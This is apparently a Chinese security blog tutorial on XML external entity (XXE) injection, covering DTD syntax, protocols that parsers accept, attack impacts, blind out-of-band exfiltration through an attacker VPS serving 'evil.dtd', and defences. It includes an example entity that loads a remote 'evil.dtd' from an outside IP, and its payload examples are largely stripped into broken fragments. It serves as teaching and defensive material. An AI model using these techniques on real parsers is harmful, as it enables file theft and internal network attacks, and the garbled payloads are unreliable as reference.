2.5_XXE(XML外部实体注入)

XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;

    复制代码
    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           		<!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> 	<!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>		    <!--声明name为"#PCDATA"类型--> 	<!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>			    <!--声明age为"#CDATA"类型--> 	<!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>		    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>			    <!--ANY 表示可以包含任意元素-->
                        			    <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        	<!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                       			    <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       			
    <!ENTITY % name "小明">			    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                        			    <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name>			<!--sss接收"小明"-->
    </sss>
    </person>
  3. 外部引用支持的协议(通用:file,ftp,http

    |------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------|------------------------|
    | PHP | JAVA | .NET | libxml2 |
    | 1. file 2. ftp 3. http 4. php 5. data 6. glob 7. phar 8. compress.zlib 9. compress.bzip2 | 1. file 2. ftp 3. http 4. jar 5. https 6. gopher 7. netdoc 8. mailto | 1. file 2. ftp 3. http 4. https | 1. file 2. ftp 3. http |

XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):

    1). 扫描内网端口(http);

    2). 攻击内网网站(http);

    3). 任意文件读取(file,php);

    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类 利用方式
    有回显 直接利用即可 ]>&b; ]> &xxe; ]> &xxe; ]> &xxe; ]> &xxe; &xxe;
    无回显 通过 DNSlog 检测,http 日志外带; %xxe; ]> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: "> # Brup payload: %remote; %int; %send; ]>
  5. XXE防御方式:

    1). 禁用 外部实体(system,public);

    2). 过滤 用户输入;

    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:

    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;

    ①. 功能点提交的语句是 XML

    ②. 功能点提交的语句是 Json ,但改为 XML 后可用的 ;

  7. XXE验证方式:

    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;

    ①. 例: burp抓包中包含 :username=admin $ pass=123456;

    ②. 将其改为 <username>admin</username><pass>123456</pass>

    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:fileftphttpphpdata等等;

免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

相关推荐
X7x54 小时前
安全信息和事件管理(SIEM):企业安全运营的技术基石
网络安全·网络攻击模型·安全威胁分析·安全架构·siem
宋浮檀s4 小时前
应急响应——Web漏洞:命令执行+SSRF+弱口令
运维·数据库·sql·网络安全·oracle·应急响应
Apifox6 小时前
Apifox 5 月更新|Postman 导入优化、Runner 支持非 root 运行、请求代码自动带鉴权
前端·后端·安全
清溪5496 小时前
n8n表达式沙箱逃逸至RCE漏洞-CVE-2025-68613复现
javascript·安全
清溪5496 小时前
Erlang-SSH未授权(CVE-2025-32433)复现
安全·ssh
清溪5496 小时前
DataEase H2 JDBC-RCE(CVE-2025-32966)复现
数据库·安全
~央千澈~6 小时前
《ZAKU渗透论:卓伊凡的2026渗透工程》第四章:Web攻击原理(下)——XSS、CSRF、文件上传漏洞
网络安全
weixin_307779137 小时前
面向高性能保密计算的定制 Linux 系统构建与自动部署方案
linux·安全·网络安全·性能优化·系统安全
代码飞一会儿8 小时前
CTF之跟我一起逆向得到flag吧
安全
志栋智能10 小时前
超自动化安全:实现安全运营现代化的关键
大数据·运维·网络·安全·自动化